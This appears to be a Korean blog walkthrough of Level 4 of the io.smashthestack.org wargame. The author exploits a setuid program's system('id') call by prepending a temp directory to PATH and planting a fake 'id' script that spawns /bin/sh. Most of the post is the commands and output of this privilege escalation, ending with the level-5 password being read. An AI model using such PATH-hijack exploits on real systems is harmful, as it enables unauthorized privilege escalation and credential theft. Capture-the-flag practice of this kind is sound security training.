io.smashthestack.org – Level 4

Level 4 문제 소스는 아래와 같다.

#include <stdlib.h>

int main() {

        system("id");

        return 0;
}

id를 실행시키는 간단한 소스다..
PATH 환경변수를 설정해서 우리가 직접 작성한 id를 실행시키면 쉘을 획득할 수 있을 것이다.

/tmp/by4 폴더에 id를 새로 작성하여 아래와 같이 공격을 시도 하였다.

level4@io:/tmp/by4$ env
TERM=linux
SHELL=/bin/bash
SSH_CLIENT=211.218.16.99 23923 22
OLDPWD=/tmp
SSH_TTY=/dev/pts/2
USER=level4
MAIL=/var/mail/level4
PATH=/usr/local/bin:/usr/bin:/bin:/usr/games
PWD=/tmp/by4
SHLVL=1
HOME=/home/level4
LOGNAME=level4
SSH_CONNECTION=211.218.16.99 23923 192.168.1.32 22
_=/usr/bin/env
level4@io:/tmp/by4$ export PATH=/tmp/by4:/usr/local/bin:/usr/bin:/bin:/usr/games
level4@io:/tmp/by4$ env
TERM=linux
SHELL=/bin/bash
SSH_CLIENT=211.218.16.99 23923 22
OLDPWD=/tmp
SSH_TTY=/dev/pts/2
USER=level4
MAIL=/var/mail/level4
PATH=/tmp/by4:/usr/local/bin:/usr/bin:/bin:/usr/games
PWD=/tmp/by4
SHLVL=1
HOME=/home/level4
LOGNAME=level4
SSH_CONNECTION=211.218.16.99 23923 192.168.1.32 22
_=/usr/bin/env
level4@io:/tmp/by4$ cat id
#!/usr/bin/python
import os
os.system('/bin/sh')
level4@io:/tmp/by4$ /levels/level04
sh-3.2$ cat /home/level5/.pass
wj9mttkm
sh-3.2$ 

답글 남기기

이메일 주소를 발행하지 않을 것입니다. 필수 항목은 *(으)로 표시합니다